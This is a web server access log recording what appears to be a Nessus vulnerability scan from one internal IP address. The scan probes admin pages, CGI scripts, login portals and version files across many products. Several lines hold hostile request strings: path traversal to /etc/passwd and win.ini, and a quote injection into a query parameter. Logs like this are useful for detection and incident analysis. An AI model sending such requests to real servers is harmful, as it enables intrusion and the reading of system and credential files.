[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus' HTTP/1.1" 196
[30/Apr/2022:06:31:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /NULL.ida HTTP/1.1" 196
[30/Apr/2022:06:31:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.0" -
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //gXfCYj6a.asp HTTP/1.0" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1638101418 HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet459061593. HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1040304041.asp HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet278505982.aspx HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1138023782.html HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet696510469.htm HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet2017656332.shtm HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet2032842946.shtml HTTP/1.1" 196
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet687231777.jsp HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet633587555.jspx HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1111504448.php HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp.htr HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet82448064.php3 HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1928332674.php4 HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp2.htr HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet637274564.php5 HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet791302145.php6 HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /niet1985913636.cfm HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp2b.htr HTTP/1.1" 196
[30/Apr/2022:06:31:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp3.htr HTTP/1.1" 196
[30/Apr/2022:06:31:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp4.htr HTTP/1.1" 196
[30/Apr/2022:06:31:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /iisadmpwd/aexp4b.htr HTTP/1.1" 196
[30/Apr/2022:06:31:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/com5.pl HTTP/1.1" 196
[30/Apr/2022:06:31:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /igsponsor HTTP/1.1" 196
[30/Apr/2022:06:31:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.idq?CiTemplate=../../../../../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:31:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.idq?CiTemplate=../../../../../winnt/win.ini%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1" 196
[30/Apr/2022:06:31:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mail/ HTTP/1.1" 196
[30/Apr/2022:06:31:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:31:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /buglist.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /builtin/index.html HTTP/1.1" 196
[30/Apr/2022:06:31:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET // HTTP/1.1" -
[30/Apr/2022:06:31:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /tsp// HTTP/1.1" 196
[30/Apr/2022:06:31:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ap// HTTP/1.1" 196
[30/Apr/2022:06:31:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ssp// HTTP/1.1" 196
[30/Apr/2022:06:31:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:31:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ngp/version HTTP/1.1" 196
[30/Apr/2022:06:31:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /i18n/adminconsole_en_us.json HTTP/1.1" 196
[30/Apr/2022:06:31:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi/mid.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /oc/lib-prod/tsm/TSM-login.js HTTP/1.1" 196
[30/Apr/2022:06:31:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /rcladmin/js/art_i18n/nls/art_i18n.js HTTP/1.1" 196
[30/Apr/2022:06:31:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /rdweb/login/login.html HTTP/1.1" 196
[30/Apr/2022:06:31:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ibmmq/console/login.html HTTP/1.1" 196
[30/Apr/2022:06:31:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ibmmq/console/nls/en/strings.json HTTP/1.1" 196
[30/Apr/2022:06:31:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /jts/ HTTP/1.1" 196
[30/Apr/2022:06:31:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin HTTP/1.1" 196
[30/Apr/2022:06:31:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dp/login.xml HTTP/1.1" 196
[30/Apr/2022:06:31:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /shared/userlogin.php HTTP/1.1" 196
[30/Apr/2022:06:31:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /trc HTTP/1.1" 196
[30/Apr/2022:06:31:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:31:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /~nobody/etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:31:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/admin.pl HTTP/1.1" 196
[30/Apr/2022:06:31:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator HTTP/1.1" 196
[30/Apr/2022:06:31:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/administrator.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:31:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/agorn.cgi HTTP/1.1" 196
[30/Apr/2022:06:31:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/bugreport.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/cart.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/clwarn.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /redfish/v1/ HTTP/1.1" 196
[30/Apr/2022:06:32:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET // HTTP/1.1" -
[30/Apr/2022:06:32:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/hpsum/hpsum-version.js HTTP/1.1" 196
[30/Apr/2022:06:32:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SiteScope/ HTTP/1.1" 196
[30/Apr/2022:06:32:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/hpsum/hpsum-version.js HTTP/1.1" 196
[30/Apr/2022:06:32:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/hpsum/hpsum-version.js HTTP/1.1" 196
[30/Apr/2022:06:32:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/hpsum/hpsum-version.js HTTP/1.1" 196
[30/Apr/2022:06:32:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/hpsum/hpsum-version.js HTTP/1.1" 196
[30/Apr/2022:06:32:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /oo/ HTTP/1.1" 196
[30/Apr/2022:06:32:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xmldata?item=all HTTP/1.1" 196
[30/Apr/2022:06:32:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/count.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nnm/main HTTP/1.1" 196
[30/Apr/2022:06:32:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /imc HTTP/1.1" 196
[30/Apr/2022:06:32:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /autopass/login_input HTTP/1.1" 196
[30/Apr/2022:06:32:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /hazelcast/rest/cluster HTTP/1.1" 196
[30/Apr/2022:06:32:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /public/ HTTP/1.1" 196
[30/Apr/2022:06:32:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /com/novell/webaccess/WebAccessUninstall.ini HTTP/1.1" 196
[30/Apr/2022:06:32:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal HTTP/1.1" 196
[30/Apr/2022:06:32:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/webacc?error=webacc HTTP/1.1" 196
[30/Apr/2022:06:32:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:32:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/Count.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /go/pipelines HTTP/1.1" 196
[30/Apr/2022:06:32:20 +0800] 10.39.104.26 - - "GET / HTTP/1.0" 362
[30/Apr/2022:06:32:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /go/auth/login HTTP/1.1" 196
[30/Apr/2022:06:32:20 +0800] 10.39.104.26 - - "GET / HTTP/1.0" 362
[30/Apr/2022:06:32:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /users/sign_in HTTP/1.1" 196
[30/Apr/2022:06:32:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /setup HTTP/1.1" 196
[30/Apr/2022:06:32:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /WEB-INF./web.xml HTTP/1.1" 196
[30/Apr/2022:06:32:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ews/index.htm HTTP/1.1" 196
[30/Apr/2022:06:32:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_vti_bin/shtml.dll/_vti_rpc HTTP/1.1" 196
[30/Apr/2022:06:32:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_vti_bin/fpcount.exe HTTP/1.1" 196
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /system/console?version=1.5 HTTP/1.1" 196
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /images/login_top.gif HTTP/1.1" 196
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /images/logon_merge.gif HTTP/1.1" 196
[30/Apr/2022:06:32:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/faqmanager.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /f360/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:32:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:32:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //login.jsp HTTP/1.1" 196
[30/Apr/2022:06:32:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login/ HTTP/1.1" 196
[30/Apr/2022:06:32:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /features HTTP/1.1" 196
[30/Apr/2022:06:32:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /default.php HTTP/1.1" 196
[30/Apr/2022:06:32:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /fogbugz/default.php HTTP/1.1" 196
[30/Apr/2022:06:32:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //login/login HTTP/1.1" 196
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /acopia/ HTTP/1.1" 196
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ui/login/ HTTP/1.1" 196
[30/Apr/2022:06:32:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.web HTTP/1.1" 196
[30/Apr/2022:06:32:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormHandler.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /? HTTP/1.1" -
[30/Apr/2022:06:32:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /spipe?Source=nessus HTTP/1.0" 196
[30/Apr/2022:06:32:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /PUBLIC/ADMIN/INDEX.HTM HTTP/1.1" 196
[30/Apr/2022:06:32:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SE/appInfo.xml HTTP/1.1" 196
[30/Apr/2022:06:32:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SE/EMC_SE.swf HTTP/1.1" 196
